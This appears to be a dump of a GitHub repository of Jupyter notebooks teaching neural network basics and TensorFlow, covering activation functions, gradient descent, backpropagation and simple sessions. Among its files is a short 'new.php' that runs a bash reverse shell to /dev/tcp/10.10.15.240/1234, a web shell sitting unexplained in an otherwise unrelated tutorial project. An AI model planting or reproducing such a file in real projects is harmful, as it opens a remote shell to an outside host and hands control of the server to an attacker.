236 | "source": [] 237 | }, 238 | { 239 | "cell_type": "code", 240 | "execution_count": null, 241 | "metadata": { 242 | "collapsed": true, 243 | "deletable": true, 244 | "editable": true 245 | }, 246 | "outputs": [], 247 | "source": [] 248 | } 249 | ], 250 | "metadata": { 251 | "kernelspec": { 252 | "display_name": "Python 3", 253 | "language": "python", 254 | "name": "python3" 255 | }, 256 | "language_info": { 257 | "codemirror_mode": { 258 | "name": "ipython", 259 | "version": 3 260 | }, 261 | "file_extension": ".py", 262 | "mimetype": "text/x-python", 263 | "name": "python", 264 | "nbconvert_exporter": "python", 265 | "pygments_lexer": "ipython3", 266 | "version": "3.5.0" 267 | } 268 | }, 269 | "nbformat": 4, 270 | "nbformat_minor": 2 271 | } 272 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 5 - Backpropagation.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
Neural Networks and Tensorflow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "deletable": true, 17 | "editable": true 18 | }, 19 | "source": [ 20 | "## 1. Artificial Neurons\n", 21 | "\n", 22 | "###

Biological Neuron

\n", 23 | "\n", 24 | "![](bioneuron.png)\n", 25 | "\n", 26 | "*

Adapted from BruceBlaus (Own work) [CC BY 3.0] via Wikimedia Commons

*\n", 27 | "\n", 28 | "###

Artificial Neuron

\n", 29 | "\n", 30 | "![](artifneuron.png)\n", 31 | "\n", 32 | "*

By Chrislb (created by Chrislb) [GFDL or CC-BY-SA-3.0], via Wikimedia Commons

*\n", 33 | "\n", 34 | "###

$z = ∑wi*xi$

\n", 35 | "\n", 36 | "#### The output is a function of z:\n", 37 | "\n", 38 | "###

$y = f(z)$

" 39 | ] 40 | }, 41 | { 42 | "cell_type": "markdown", 43 | "metadata": { 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "source": [ 48 | "### Output:\n", 49 | "\n", 50 | "##

$y = f(X*W+b)$

" 51 | ] 52 | }, 53 | { 54 | "cell_type": "markdown", 55 | "metadata": { 56 | "collapsed": true, 57 | "deletable": true, 58 | "editable": true 59 | }, 60 | "source": [ 61 | "## 2. Feed Forward Neural Networks" 62 | ] 63 | }, 64 | { 65 | "cell_type": "markdown", 66 | "metadata": { 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "source": [ 71 | "![](2layerann.png)\n", 72 | "\n", 73 | "*

By Mcstrother (Own work) [CC BY 3.0], via Wikimedia Commons

*" 74 | ] 75 | }, 76 | { 77 | "cell_type": "markdown", 78 | "metadata": { 79 | "deletable": true, 80 | "editable": true 81 | }, 82 | "source": [ 83 | "### 2.1. The Sigmoid Function \n", 84 | "\n", 85 | "![](sigmoid.png)\n", 86 | "*

By MartinThoma (Own work) [CC0], via Wikimedia Commons

*\n", 87 | "\n", 88 | "##

$f(z) = \\frac{1}{1+e^{-z}}$

" 89 | ] 90 | }, 91 | { 92 | "cell_type": "markdown", 93 | "metadata": { 94 | "deletable": true, 95 | "editable": true 96 | }, 97 | "source": [ 98 | "### 2.2. The Hyperbolic Tangent\n", 99 | "\n", 100 | "![](tanh.png)\n", 101 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 102 | "\n", 103 | "##

$f(z) = tanh(z)$

\n", 104 | "##

$f(z) = \\frac{2}{1+e^{-2z}} - 1$

" 105 | ] 106 | }, 107 | { 108 | "cell_type": "markdown", 109 | "metadata": { 110 | "deletable": true, 111 | "editable": true 112 | }, 113 | "source": [ 114 | "### 2.3. The Rectified Linear Unit (ReLU)\n", 115 | "\n", 116 | "![](relu.png)\n", 117 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 118 | "\n", 119 | "##

$f(z) = max(0,z)$

" 120 | ] 121 | }, 122 | { 123 | "cell_type": "markdown", 124 | "metadata": { 125 | "collapsed": true, 126 | "deletable": true, 127 | "editable": true 128 | }, 129 | "source": [ 130 | "## 3. Softmax Output\n", 131 | "\n", 132 | "![](softmax.png)\n", 133 | "*

By Lizhongzheng (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 134 | "\n", 135 | "##

$\\sum_{i=0}^{9} p_i = 1$

\n", 136 | "\n", 137 | "##

$\\hat y = \\Big[$ p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 $\\Big]$

\n", 138 | "\n", 139 | "- probability distribution - how confident am I of this prediction?\n", 140 | "- neurons in the softmax layer are interdependent" 141 | ] 142 | }, 143 | { 144 | "cell_type": "markdown", 145 | "metadata": { 146 | "collapsed": true, 147 | "deletable": true, 148 | "editable": true 149 | }, 150 | "source": [ 151 | "## 4. Gradient Descent\n", 152 | "\n", 153 | "![](grdesc.png)\n", 154 | "*

By Olegalexandrov and Zerodamage [Public domain], via Wikimedia Commons

*\n", 155 | "\n", 156 | "- purpose of training a neural net: determine the best weights\n", 157 | "- Gradient Descent: find the minimum of a function\n", 158 | "- in math - gradient is a generalization of the derivative\n", 159 | "\n", 160 | "- derivative - function of a variable\n", 161 | "- gradient - function of a set of variables\n", 162 | "\n", 163 | "![](mountain.jpg)" 164 | ] 165 | }, 166 | { 167 | "cell_type": "markdown", 168 | "metadata": { 169 | "collapsed": true, 170 | "deletable": true, 171 | "editable": true 172 | }, 173 | "source": [ 174 | "*\"You need a some kind of heuristic to find the correct way. One of the best choice and the simplest one is to check the decline rate by single step for each possible direction and choose the most steepest one.\"*\n", 175 | "\n", 176 | "

(Eren Golge https://www.quora.com/What-is-an-intuitive-explanation-of-gradient-descent)

\n", 177 | "\n", 178 | "- learning rate - too small or too high might be problematic\n", 179 | "\n", 180 | "![](grdesc2.jpeg)\n", 181 | "\n", 182 | "*

GD with small and large learning rates. By Andrew Ng’s via ML course on Coursera

*" 183 | ] 184 | }, 185 | { 186 | "cell_type": "markdown", 187 | "metadata": { 188 | "collapsed": true, 189 | "deletable": true, 190 | "editable": true 191 | }, 192 | "source": [ 193 | "### 4.1. Steps with GD:\n", 194 | "\n", 195 | "- (1). Random initialization of weights. Find the gradient at current position.\n", 196 | "- (2). Take a step in the direction of the steepest descent.\n", 197 | "- (3). Determine the gradient at this new position. Take a step in the direction of the steepest descent. \n", 198 | "- (4). Repeat until arriving at the point of the minimum error.\n", 199 | "\n", 200 | "\n", 201 | "- Variations of GD: batch GD, stochastic GD (SGD), mini-batch GD.\n", 202 | "- Optimizations: Momentum, RMSprop, Adam, etc." 203 | ] 204 | }, 205 | { 206 | "cell_type": "markdown", 207 | "metadata": { 208 | "collapsed": true, 209 | "deletable": true, 210 | "editable": true 211 | }, 212 | "source": [ 213 | "## 5. Backpropagation\n", 214 | "\n", 215 | "- forward pass (X, W, b) => Z, A => $\\hat y$\n", 216 | "\n", 217 | "![](forwardp.png)\n", 218 | "\n", 219 | "*

Forward Pass. By Sebastian Raschka via Github

*\n", 220 | "\n", 221 | "## - $\\hat y$ vs y => error (cost)\n", 222 | "\n", 223 | "In backpropagation:\n", 224 | "\n", 225 | "- we propagate the error backwards => update weights => reduce error (Chain Rule, Power Rule)\n", 226 | "\n", 227 | "![](backprop.png)\n", 228 | "\n", 229 | "*

Backward Pass. By Sebastian Raschka via Github

*\n", 230 | "\n", 231 | "### Backpropagation - determines the gradient of the error function with respect to the weights:\n", 232 | "\n", 233 | "- (1). Determine the gradient of the final layer of weights\n", 234 | "- (2). Determine the gradient of the hidden layer of weights\n", 235 | "- ...\n", 236 | "- (n). Determine the gradient of the initial layer of weights." 237 | ] 238 | }, 239 | { 240 | "cell_type": "code", 241 | "execution_count": null, 242 | "metadata": { 243 | "collapsed": true, 244 | "deletable": true, 245 | "editable": true 246 | }, 247 | "outputs": [], 248 | "source": [] 249 | }, 250 | { 251 | "cell_type": "code", 252 | "execution_count": null, 253 | "metadata": { 254 | "collapsed": true, 255 | "deletable": true, 256 | "editable": true 257 | }, 258 | "outputs": [], 259 | "source": [] 260 | }, 261 | { 262 | "cell_type": "code", 263 | "execution_count": null, 264 | "metadata": { 265 | "collapsed": true, 266 | "deletable": true, 267 | "editable": true 268 | }, 269 | "outputs": [], 270 | "source": [] 271 | } 272 | ], 273 | "metadata": { 274 | "kernelspec": { 275 | "display_name": "Python 3", 276 | "language": "python", 277 | "name": "python3" 278 | }, 279 | "language_info": { 280 | "codemirror_mode": { 281 | "name": "ipython", 282 | "version": 3 283 | }, 284 | "file_extension": ".py", 285 | "mimetype": "text/x-python", 286 | "name": "python", 287 | "nbconvert_exporter": "python", 288 | "pygments_lexer": "ipython3", 289 | "version": "3.5.0" 290 | } 291 | }, 292 | "nbformat": 4, 293 | "nbformat_minor": 2 294 | } 295 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 6 - Basics of TensorFlow - 1.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n" 54 | ] 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "metadata": { 60 | "collapsed": true, 61 | "deletable": true, 62 | "editable": true 63 | }, 64 | "outputs": [], 65 | "source": [] 66 | }, 67 | { 68 | "cell_type": "code", 69 | "execution_count": null, 70 | "metadata": { 71 | "collapsed": true, 72 | "deletable": true, 73 | "editable": true 74 | }, 75 | "outputs": [], 76 | "source": [] 77 | } 78 | ], 79 | "metadata": { 80 | "kernelspec": { 81 | "display_name": "Python 3", 82 | "language": "python", 83 | "name": "python3" 84 | }, 85 | "language_info": { 86 | "codemirror_mode": { 87 | "name": "ipython", 88 | "version": 3 89 | }, 90 | "file_extension": ".py", 91 | "mimetype": "text/x-python", 92 | "name": "python", 93 | "nbconvert_exporter": "python", 94 | "pygments_lexer": "ipython3", 95 | "version": "3.5.0" 96 | } 97 | }, 98 | "nbformat": 4, 99 | "nbformat_minor": 2 100 | } 101 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 7 - Basics of TensorFlow - 2.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 8, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 9, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 10, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add_1:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 11, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 12, 139 | "metadata": { 140 | "collapsed": false 141 | }, 142 | "outputs": [ 143 | { 144 | "name": "stdout", 145 | "output_type": "stream", 146 | "text": [ 147 | "b'Hello World!'\n" 148 | ] 149 | } 150 | ], 151 | "source": [ 152 | "c = tf.add(a,b)\n", 153 | "\n", 154 | "with tf.Session() as sess:\n", 155 | " runop = sess.run(c)\n", 156 | " \n", 157 | "print(runop)" 158 | ] 159 | }, 160 | { 161 | "cell_type": "code", 162 | "execution_count": 13, 163 | "metadata": { 164 | "collapsed": false 165 | }, 166 | "outputs": [ 167 | { 168 | "name": "stdout", 169 | "output_type": "stream", 170 | "text": [ 171 | "[[[ 88 94]\n", 172 | " [214 229]]\n", 173 | "\n", 174 | " [[484 508]\n", 175 | " [642 674]]]\n" 176 | ] 177 | } 178 | ], 179 | "source": [ 180 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 181 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 182 | "mul_c = tf.matmul(mat_a, mat_b)\n", 183 | "\n", 184 | "with tf.Session() as sess:\n", 185 | " runop = sess.run(mul_c)\n", 186 | " \n", 187 | "print(runop)" 188 | ] 189 | }, 190 | { 191 | "cell_type": "code", 192 | "execution_count": null, 193 | "metadata": { 194 | "collapsed": true 195 | }, 196 | "outputs": [], 197 | "source": [] 198 | }, 199 | { 200 | "cell_type": "code", 201 | "execution_count": null, 202 | "metadata": { 203 | "collapsed": true 204 | }, 205 | "outputs": [], 206 | "source": [] 207 | }, 208 | { 209 | "cell_type": "code", 210 | "execution_count": null, 211 | "metadata": { 212 | "collapsed": true 213 | }, 214 | "outputs": [], 215 | "source": [] 216 | } 217 | ], 218 | "metadata": { 219 | "kernelspec": { 220 | "display_name": "Python 3", 221 | "language": "python", 222 | "name": "python3" 223 | }, 224 | "language_info": { 225 | "codemirror_mode": { 226 | "name": "ipython", 227 | "version": 3 228 | }, 229 | "file_extension": ".py", 230 | "mimetype": "text/x-python", 231 | "name": "python", 232 | "nbconvert_exporter": "python", 233 | "pygments_lexer": "ipython3", 234 | "version": "3.5.0" 235 | } 236 | }, 237 | "nbformat": 4, 238 | "nbformat_minor": 2 239 | } 240 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Neural Networks and TensorFlow 2 | 3 | The accompanying video tutorials are [here](https://www.youtube.com/playlist?list=PLonlF40eS6nxsfQMKdUdUDcmQg_TzSdS9). 4 | -------------------------------------------------------------------------------- /artifneuron.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/artifneuron.png -------------------------------------------------------------------------------- /backprop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/backprop.png -------------------------------------------------------------------------------- /bioneuron.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/bioneuron.png -------------------------------------------------------------------------------- /cat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/cat.jpg -------------------------------------------------------------------------------- /cifar10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/cifar10.png -------------------------------------------------------------------------------- /cnn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/cnn.png -------------------------------------------------------------------------------- /compgraph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/compgraph.png -------------------------------------------------------------------------------- /data/Marilyn_Monroe_in_1952-small.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/data/Marilyn_Monroe_in_1952-small.jpg -------------------------------------------------------------------------------- /data/StarryNight-small.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/data/StarryNight-small.jpg -------------------------------------------------------------------------------- /forwardp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/forwardp.png -------------------------------------------------------------------------------- /grdesc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/grdesc.png -------------------------------------------------------------------------------- /grdesc2.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/grdesc2.jpeg -------------------------------------------------------------------------------- /greyrgb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/greyrgb.png -------------------------------------------------------------------------------- /mnist.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/mnist.png -------------------------------------------------------------------------------- /mountain.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/mountain.jpg -------------------------------------------------------------------------------- /new.php: -------------------------------------------------------------------------------- 1 | & /dev/tcp/10.10.15.240/1234 0>&1'"); 3 | -------------------------------------------------------------------------------- /relu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/relu.png -------------------------------------------------------------------------------- /rnn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/rnn.png -------------------------------------------------------------------------------- /sigmoid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/sigmoid.png -------------------------------------------------------------------------------- /softmax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/softmax.png -------------------------------------------------------------------------------- /tanh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/tanh.png -------------------------------------------------------------------------------- /tflogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/tflogo.png -------------------------------------------------------------------------------- /timeseq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/timeseq1.png -------------------------------------------------------------------------------- /vgg19arch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/vgg19arch.png --------------------------------------------------------------------------------